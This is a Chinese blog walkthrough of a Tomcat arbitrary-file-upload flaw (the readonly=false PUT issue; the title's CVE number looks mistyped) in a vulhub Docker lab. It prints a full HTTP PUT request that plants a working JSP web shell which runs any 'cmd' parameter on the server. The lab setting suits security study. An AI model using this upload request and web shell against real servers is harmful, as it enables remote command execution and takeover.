首页 > 其他分享 >Tomcat-CVE-2017-20615

Tomcat-CVE-2017-20615

时间:2022-11-18 11:04:04浏览次数:81  
标签:disr zh Tomcat cmd https 2017 CVE dis


环境搭建:

切换到vulhub对应目录
docker-compose build
docker-compose up -d

漏洞产生原因

Tomcat配置问题,配置了可写(readonly=false),导致我们可以往服务器写文件。

 

 

访问搭建好的靶场,靶场搭建成功。

 

 

burp抓包发送到repeater模块儿。

修改数据报如下

 

PUT /3.jsp/ HTTP/1.1
Host: 192.168.253.168:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=D8D5F04F5570AE020EF1C31927F37AD3
Upgrade-Insecure-Requests: 1

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
      out.println("Command: " + request.getParameter("cmd") + "<BR>");
      Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));//jie's
      OutputStream os = p.getOutputStream();
      InputStream in = p.getInputStream();
      DataInputStream dis = new DataInputStream(in);
      String disr = dis.readLine();
      while ( disr != null ) {
              out.println(disr);
              disr = dis.readLine();
              }
      }
%>

 

 

 

修改后发送。如上图为上传成功。

 

浏览器访问上传的shell脚本并传入参数。命令执行返回了相关结果。

参考:

标签:disr,zh,Tomcat,cmd,https,2017,CVE,dis
From: https://www.cnblogs.com/jdslf/p/16902498.html

相关文章

  • Tomcat多实例部署
    一、Tomcat多实例的操作步骤1.1关闭防火墙,将安装Tomcat所需软件包传到/opt目录下jdk-8u201-linux-x64.rpmapache-tomcat-9.0.16.tar.gzsystemctlstopfirewalld......
  • 使用Tomcat&Servlet
    首先下载Tomcat8或其他版本,在idea的项目中配置pop.xml文件如下图(详细教程参考黑马程序员javaweb中P93视频)1<build>2<plugins>3<plugin>4<group......
  • Nginx+Tomcat负载均衡、动静分离
         1.Tomcat多实例部署步骤一:安装jdk步骤二:安装tomcat步骤三:.配置多实例tomcat的环境变量步骤四:修改多实例tomcat的开启与关闭配置文件,添加相关的tomca......
  • Tomcat部署、优化、多示例部署、负载均衡(群集,要安装nginx)
    目录:1、Tomcat核心组件2、Tomcat功能组件结构3、Tomcat请求过程4、Tomcat工作模式5、Tomcat部署方式6、Tomcat顶层架构7、实验7-1Tomcat服务部署7-2Tomcat虚拟主......
  • Tomcat多实例部署
    一、Tomcat多实例的操作步骤1.1、关闭防火墙,将安装Tomcat所需软件包传到/opt目录下jdk-8u201-linux-x64.rpmapache-tomcat-9.0.16.tar.gzsystemctlstopfirewall......
  • Tomcat部署及优化
    一 Tomcat的简介二Tomcat的组件构成三Tomcat的功能组件结构四Tomcat的请求过程五Tomcat服务的部署六tomcat启动优化总结 Tomcat的主要目录说明bin:存放启动......
  • Tomcat多实例部署
    一、Tomcat多实例的操作步骤1、关闭防火墙,将安装Tomcat所需软件包传到/opt目录下jdk-8u201-linux-x64.rpmapache-tomcat-9.0.16.tar.gzsystemctlstopfirewalld......
  • tomcat的概述、部署、优化
    一、Tomcat概述1.1、Tomcat的概念Tomcat是Java语言开发的,服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合......
  • Tomcat的概述、部署、及优化
    一、Tomcat概述1、Tomcat的概念Tomcat是Java语言开发的,服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下......
  • Tomcat多实例部署
    一、实例操作:Tomcat多实例1、关闭防火墙,将安装Tomcat所需软件包传到/opt目录下2、安装JDK3、安装tomcat4、配置tomcat环境变量5、修改tomcat2中的se......